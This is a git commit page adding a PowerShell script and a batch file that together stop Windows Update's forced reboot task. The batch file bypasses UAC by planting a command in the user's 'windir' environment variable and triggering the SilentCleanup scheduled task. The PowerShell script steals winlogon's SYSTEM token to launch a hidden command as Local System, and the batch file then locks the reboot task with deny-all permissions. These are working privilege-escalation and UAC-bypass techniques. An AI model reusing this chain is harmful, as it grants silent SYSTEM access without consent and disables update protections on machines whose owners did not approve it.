Merge remote-tracking branch 'kill_reboot/master'
This commit is contained in:
commit
d0efbb3886
2 changed files with 346 additions and 0 deletions
314
elevate.ps1
Normal file
314
elevate.ps1
Normal file
|
|
@ -0,0 +1,314 @@
|
||||||
|
# this is a very stripped-down C# port of NSudo:
|
||||||
|
# https://github.com/M2Team/NSudo
|
||||||
|
# you should already be running this script as an administrator.
|
||||||
|
|
||||||
|
param([string]$command="cmd")
|
||||||
|
|
||||||
|
function Execute-Elevated {
|
||||||
|
param([string]$command="cmd")
|
||||||
|
|
||||||
|
$Definition = @"
|
||||||
|
using System;
|
||||||
|
using System.Runtime.InteropServices;
|
||||||
|
using System.Diagnostics;
|
||||||
|
|
||||||
|
public class Dummy {
|
||||||
|
const int CREATE_NO_WINDOW = 0x8000000;
|
||||||
|
const int CREATE_UNICODE_ENVIRONMENT = 0x400;
|
||||||
|
const int MAXIMUM_ALLOWED = 0x2000000;
|
||||||
|
const int PROCESS_QUERY_INFORMATION = 0x400;
|
||||||
|
const int SE_PRIVILEGE_ENABLED = 0x2;
|
||||||
|
const int SecurityImpersonation = 2;
|
||||||
|
const int TOKEN_QUERY = 0x8;
|
||||||
|
const int TokenPrimary = 1;
|
||||||
|
const int TokenImpersonation = 2;
|
||||||
|
const int TokenUser = 1;
|
||||||
|
|
||||||
|
[StructLayout(LayoutKind.Sequential)]
|
||||||
|
public struct SID_AND_ATTRIBUTES {
|
||||||
|
public IntPtr Sid;
|
||||||
|
public int Attributes;
|
||||||
|
}
|
||||||
|
|
||||||
|
public struct TOKEN_USER {
|
||||||
|
public SID_AND_ATTRIBUTES User;
|
||||||
|
}
|
||||||
|
|
||||||
|
[StructLayout(LayoutKind.Sequential)]
|
||||||
|
public struct LUID {
|
||||||
|
public UInt32 LowPart;
|
||||||
|
public Int32 HighPart;
|
||||||
|
}
|
||||||
|
|
||||||
|
// hack to make a simple TOKEN_PRIVILEGES struct when Count=1.
|
||||||
|
[StructLayout(LayoutKind.Sequential, Pack=1)]
|
||||||
|
public struct TokenPrivilegeSingle {
|
||||||
|
public int Count;
|
||||||
|
public LUID Luid;
|
||||||
|
public uint Attr;
|
||||||
|
}
|
||||||
|
|
||||||
|
[StructLayout(LayoutKind.Sequential, CharSet=CharSet.Unicode)]
|
||||||
|
public struct STARTUPINFOW {
|
||||||
|
public int cb;
|
||||||
|
public string lpReserved;
|
||||||
|
public string lpDesktop;
|
||||||
|
public string lpTitle;
|
||||||
|
public uint dwX;
|
||||||
|
public uint dwY;
|
||||||
|
public uint dwXSize;
|
||||||
|
public uint dwYSize;
|
||||||
|
public uint dwXCountChars;
|
||||||
|
public uint dwYCountChars;
|
||||||
|
public uint dwFillAttribute;
|
||||||
|
public uint dwFlags;
|
||||||
|
public ushort wShowWindow;
|
||||||
|
public ushort cbReserved2;
|
||||||
|
public IntPtr lpReserved2;
|
||||||
|
public IntPtr hStdInput;
|
||||||
|
public IntPtr hStdOutput;
|
||||||
|
public IntPtr hStdError;
|
||||||
|
}
|
||||||
|
|
||||||
|
[StructLayout(LayoutKind.Sequential)]
|
||||||
|
internal struct PROCESS_INFORMATION {
|
||||||
|
public IntPtr hProcess;
|
||||||
|
public IntPtr hThread;
|
||||||
|
public int dwProcessId;
|
||||||
|
public int dwThreadId;
|
||||||
|
}
|
||||||
|
|
||||||
|
[DllImport("kernel32.dll")]
|
||||||
|
static extern IntPtr LocalFree(
|
||||||
|
IntPtr hMem);
|
||||||
|
|
||||||
|
[DllImport("kernel32.dll", SetLastError=true)]
|
||||||
|
static extern bool CloseHandle(
|
||||||
|
IntPtr hHandle);
|
||||||
|
|
||||||
|
[DllImport("userenv.dll", SetLastError=true)]
|
||||||
|
static extern bool CreateEnvironmentBlock(
|
||||||
|
out IntPtr lpEnvironment,
|
||||||
|
IntPtr hToken, bool bInherit);
|
||||||
|
|
||||||
|
[DllImport("userenv.dll", SetLastError=true)]
|
||||||
|
static extern bool DestroyEnvironmentBlock(
|
||||||
|
IntPtr lpEnvironment);
|
||||||
|
|
||||||
|
[DllImport("advapi32", CharSet=CharSet.Auto, SetLastError=true)]
|
||||||
|
static extern bool ConvertSidToStringSid(
|
||||||
|
IntPtr pSID,
|
||||||
|
out IntPtr ptrSid);
|
||||||
|
|
||||||
|
[DllImport("kernel32.dll", SetLastError=true)]
|
||||||
|
static extern IntPtr OpenProcess(
|
||||||
|
int dwDesiredAccess,
|
||||||
|
bool bInheritHandle,
|
||||||
|
long dwProcessId);
|
||||||
|
|
||||||
|
[DllImport("advapi32.dll", ExactSpelling=true, SetLastError=true)]
|
||||||
|
static extern bool OpenProcessToken(
|
||||||
|
IntPtr h,
|
||||||
|
int acc,
|
||||||
|
out IntPtr phtok);
|
||||||
|
|
||||||
|
[DllImport("advapi32.dll", SetLastError = true)]
|
||||||
|
private static extern bool SetThreadToken(
|
||||||
|
IntPtr pHandle,
|
||||||
|
IntPtr hToken);
|
||||||
|
|
||||||
|
[DllImport("advapi32.dll", SetLastError=true)]
|
||||||
|
static extern bool GetTokenInformation(
|
||||||
|
IntPtr TokenHandle,
|
||||||
|
int TokenInformationClass,
|
||||||
|
IntPtr TokenInformation,
|
||||||
|
int TokenInformationLength,
|
||||||
|
out int ReturnLength);
|
||||||
|
|
||||||
|
[DllImport("advapi32.dll", CharSet=CharSet.Auto, SetLastError=true)]
|
||||||
|
static extern bool DuplicateTokenEx(
|
||||||
|
IntPtr hExistingToken,
|
||||||
|
uint dwDesiredAccess,
|
||||||
|
IntPtr lpTokenAttributes,
|
||||||
|
int ImpersonationLevel,
|
||||||
|
int TokenType,
|
||||||
|
out IntPtr phNewToken);
|
||||||
|
|
||||||
|
[DllImport("advapi32.dll", SetLastError=true, CharSet=CharSet.Unicode)]
|
||||||
|
static extern bool CreateProcessAsUserW(
|
||||||
|
IntPtr hToken,
|
||||||
|
string lpApplicationName,
|
||||||
|
string lpCommandLine,
|
||||||
|
IntPtr lpProcessAttributes,
|
||||||
|
IntPtr lpThreadAttributes,
|
||||||
|
bool bInheritHandles,
|
||||||
|
uint dwCreationFlags,
|
||||||
|
IntPtr lpEnvironment,
|
||||||
|
string lpCurrentDirectory,
|
||||||
|
ref STARTUPINFOW lpStartupInfo,
|
||||||
|
out PROCESS_INFORMATION lpProcessInformation);
|
||||||
|
|
||||||
|
[DllImport("advapi32.dll", SetLastError = true)]
|
||||||
|
static extern bool AdjustTokenPrivileges(
|
||||||
|
IntPtr TokenHandle,
|
||||||
|
bool DisableAllPrivileges,
|
||||||
|
ref TokenPrivilegeSingle NewState,
|
||||||
|
uint Zero,
|
||||||
|
IntPtr Null1,
|
||||||
|
IntPtr Null2);
|
||||||
|
|
||||||
|
public static string ConvertSidToStringSid(IntPtr sid) {
|
||||||
|
IntPtr pstr = IntPtr.Zero;
|
||||||
|
bool ok = ConvertSidToStringSid(sid, out pstr);
|
||||||
|
if (!ok) {
|
||||||
|
LocalFree(pstr);
|
||||||
|
throw new Exception("ConvertSidToStringSid: not ok");
|
||||||
|
}
|
||||||
|
string sidstr = Marshal.PtrToStringAuto(pstr);
|
||||||
|
LocalFree(pstr);
|
||||||
|
return sidstr;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static bool HasPrivileges(int pid) {
|
||||||
|
bool ok = true;
|
||||||
|
IntPtr hProc = OpenProcess(PROCESS_QUERY_INFORMATION, false, pid);
|
||||||
|
if (hProc == IntPtr.Zero) throw new Exception("OpenProcess: null");
|
||||||
|
IntPtr hToken = IntPtr.Zero;
|
||||||
|
ok = OpenProcessToken(hProc, TOKEN_QUERY, out hToken);
|
||||||
|
if (!ok || hToken == IntPtr.Zero) throw new Exception("OpenProcessToken: not ok or null");
|
||||||
|
|
||||||
|
int tiLength = -1;
|
||||||
|
GetTokenInformation(hToken, TokenUser, IntPtr.Zero, 0, out tiLength);
|
||||||
|
IntPtr ti = Marshal.AllocHGlobal(tiLength);
|
||||||
|
ok = GetTokenInformation(hToken, TokenUser, ti, tiLength, out tiLength);
|
||||||
|
if (!ok) {
|
||||||
|
Marshal.FreeHGlobal(ti);
|
||||||
|
throw new Exception("GetTokenInformation: not ok");
|
||||||
|
}
|
||||||
|
|
||||||
|
TOKEN_USER tokenUser = (TOKEN_USER)Marshal.PtrToStructure(ti, typeof(TOKEN_USER));
|
||||||
|
string sidstr = ConvertSidToStringSid(tokenUser.User.Sid);
|
||||||
|
|
||||||
|
return sidstr == "S-1-5-18"; // described as "Local System"
|
||||||
|
}
|
||||||
|
|
||||||
|
public static int FindSystemPid(string processName) {
|
||||||
|
Process currentProc = Process.GetCurrentProcess();
|
||||||
|
Process[] processes = Process.GetProcessesByName(processName);
|
||||||
|
int pid = -1;
|
||||||
|
foreach (Process proc in processes) {
|
||||||
|
if (currentProc.SessionId == proc.SessionId && HasPrivileges(proc.Id)) {
|
||||||
|
pid = proc.Id;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (pid == -1) throw new Exception("FindSystemPid: couldn't find " + processName);
|
||||||
|
return pid;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static IntPtr DuplicateProcessToken(int pid, int impLevel, int tokenType) {
|
||||||
|
// desiredAccess is always MAXIMUM_ALLOWED
|
||||||
|
// lpTokenAttributes is always null (IntPtr.Zero)
|
||||||
|
bool ok = true;
|
||||||
|
IntPtr hProc = OpenProcess(MAXIMUM_ALLOWED, false, pid);
|
||||||
|
if (hProc == IntPtr.Zero) throw new Exception("OpenProcess: null");
|
||||||
|
|
||||||
|
IntPtr hToken = IntPtr.Zero;
|
||||||
|
ok = OpenProcessToken(hProc, MAXIMUM_ALLOWED, out hToken);
|
||||||
|
if (!ok || hToken == IntPtr.Zero) throw new Exception("OpenProcessToken: not ok or null");
|
||||||
|
|
||||||
|
IntPtr phToken = IntPtr.Zero;
|
||||||
|
ok = DuplicateTokenEx(hToken, MAXIMUM_ALLOWED, IntPtr.Zero,
|
||||||
|
impLevel, tokenType,
|
||||||
|
out phToken);
|
||||||
|
if (!ok || phToken == IntPtr.Zero) throw new Exception("DuplicateTokenEx: not ok or null");
|
||||||
|
|
||||||
|
return phToken;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void CreateProcessW(IntPtr hToken, IntPtr environment, string directory,
|
||||||
|
string comSpec, string command) {
|
||||||
|
bool ok = true;
|
||||||
|
|
||||||
|
STARTUPINFOW startupInfo = new STARTUPINFOW();
|
||||||
|
PROCESS_INFORMATION processInfo = new PROCESS_INFORMATION();
|
||||||
|
|
||||||
|
startupInfo.cb = Marshal.SizeOf(startupInfo);
|
||||||
|
startupInfo.lpDesktop = "WinSta0\\Default";
|
||||||
|
|
||||||
|
ok = CreateProcessAsUserW(hToken, comSpec, command,
|
||||||
|
IntPtr.Zero, IntPtr.Zero, false,
|
||||||
|
CREATE_NO_WINDOW | CREATE_UNICODE_ENVIRONMENT,
|
||||||
|
environment, directory,
|
||||||
|
ref startupInfo, out processInfo);
|
||||||
|
|
||||||
|
if (!ok) {
|
||||||
|
int err = Marshal.GetLastWin32Error();
|
||||||
|
CloseHandle(processInfo.hProcess);
|
||||||
|
CloseHandle(processInfo.hThread);
|
||||||
|
throw new Exception("CreateProcessAsUser failure: " + err);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public static IntPtr CreateEnvironment(IntPtr hToken) {
|
||||||
|
bool ok = true;
|
||||||
|
IntPtr environment;
|
||||||
|
ok = CreateEnvironmentBlock(out environment, hToken, true);
|
||||||
|
if (!ok || environment == IntPtr.Zero) throw new Exception("CreateEnvironmentBlock: not ok or null");
|
||||||
|
return environment;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void SetTokenAllPrivileges(IntPtr hToken, bool enable) {
|
||||||
|
// turns out the only one we need is 3: SE_ASSIGNPRIMARYTOKEN_PRIVILEGE
|
||||||
|
bool ok = true;
|
||||||
|
|
||||||
|
TokenPrivilegeSingle tp = new TokenPrivilegeSingle();
|
||||||
|
tp.Count = 1;
|
||||||
|
tp.Attr = (uint)(enable ? SE_PRIVILEGE_ENABLED : 0);
|
||||||
|
tp.Luid.LowPart = 3;
|
||||||
|
|
||||||
|
ok = AdjustTokenPrivileges(hToken, false, ref tp, 0, IntPtr.Zero, IntPtr.Zero);
|
||||||
|
if (!ok) throw new Exception("AdjustTokenPrivileges: not ok");
|
||||||
|
|
||||||
|
int err = Marshal.GetLastWin32Error();
|
||||||
|
if (err != 0) throw new Exception("AdjustTokenPrivileges failure: " + err);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void Execute(string comSpec, string command) {
|
||||||
|
bool ok = true;
|
||||||
|
|
||||||
|
IntPtr hTokenSelf;
|
||||||
|
|
||||||
|
ok = OpenProcessToken((IntPtr)(-1), MAXIMUM_ALLOWED, out hTokenSelf);
|
||||||
|
if (!ok || hTokenSelf == IntPtr.Zero) throw new Exception("OpenProcessToken: not ok or null");
|
||||||
|
|
||||||
|
IntPtr environment = CreateEnvironment(hTokenSelf);
|
||||||
|
|
||||||
|
int pid = FindSystemPid("winlogon");
|
||||||
|
Console.WriteLine("winlogon PID: " + pid);
|
||||||
|
|
||||||
|
IntPtr hTokenSystemImpersonate = DuplicateProcessToken(pid, SecurityImpersonation, TokenImpersonation);
|
||||||
|
|
||||||
|
SetTokenAllPrivileges(hTokenSystemImpersonate, true);
|
||||||
|
ok = SetThreadToken(IntPtr.Zero, hTokenSystemImpersonate);
|
||||||
|
if (!ok) throw new Exception("SetThreadToken: not ok");
|
||||||
|
|
||||||
|
IntPtr hTokenSystemPrimary = DuplicateProcessToken(pid, SecurityImpersonation, TokenPrimary);
|
||||||
|
|
||||||
|
string fullCommand = "/c start \"" + comSpec + "\" " + command;
|
||||||
|
Console.WriteLine(comSpec + " " + fullCommand);
|
||||||
|
|
||||||
|
CreateProcessW(hTokenSystemPrimary, environment, null, comSpec, fullCommand);
|
||||||
|
|
||||||
|
// TODO: always clean up regardless of exceptions.
|
||||||
|
DestroyEnvironmentBlock(environment);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
"@
|
||||||
|
|
||||||
|
$type = Add-Type $definition -PassThru
|
||||||
|
$type[0]::Execute((get-item env:"ComSpec").Value, $command)
|
||||||
|
}
|
||||||
|
|
||||||
|
Execute-Elevated $command
|
||||||
|
exit
|
||||||
32
kill-reboot.cmd
Normal file
32
kill-reboot.cmd
Normal file
|
|
@ -0,0 +1,32 @@
|
||||||
|
@echo off
|
||||||
|
set debug=0
|
||||||
|
|
||||||
|
set ps_reg="HKCU\Software\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell"
|
||||||
|
|
||||||
|
rem check if the key already exists.
|
||||||
|
reg query %ps_reg% /v ExecutionPolicy >nul 2>&1
|
||||||
|
if NOT %errorLevel% == 0 (
|
||||||
|
rem set it just high enough so we can run our script.
|
||||||
|
reg add %ps_reg% /t REG_SZ /v ExecutionPolicy /d RemoteSigned
|
||||||
|
)
|
||||||
|
|
||||||
|
rem check if we're at least running as an admin.
|
||||||
|
net session >nul 2>&1
|
||||||
|
if NOT %errorLevel% == 0 (
|
||||||
|
rem re-run this script as system.
|
||||||
|
rem that's more than administrator, but less than trusted installer.
|
||||||
|
if "%debug%"=="1" (
|
||||||
|
powershell -Command "Start-Process powershell {%~dp0\elevate.ps1 %0} -Verb RunAs"
|
||||||
|
) else (
|
||||||
|
rem this version bypasses UAC. please refer to the following post:
|
||||||
|
rem https://tyranidslair.blogspot.ca/2017/05/exploiting-environment-variables-in.html
|
||||||
|
reg add hkcu\Environment /v windir /d "cmd /K reg delete hkcu\Environment /v windir /f && powershell -WindowStyle Hidden -NonInteractive %~dp0\elevate.ps1 %0 && REM "
|
||||||
|
)
|
||||||
|
schtasks /Run /TN \Microsoft\Windows\DiskCleanup\SilentCleanup /I
|
||||||
|
exit
|
||||||
|
)
|
||||||
|
|
||||||
|
schtasks /change /tn \Microsoft\Windows\UpdateOrchestrator\Reboot /DISABLE
|
||||||
|
icacls "%WINDIR%\System32\Tasks\Microsoft\Windows\UpdateOrchestrator\Reboot" /inheritance:r /deny "Everyone:F" /deny "SYSTEM:F" /deny "Local Service:F" /deny "Administrators:F"
|
||||||
|
if "%debug%"=="1" ( pause )
|
||||||
|
exit
|
||||||
Loading…
Reference in a new issue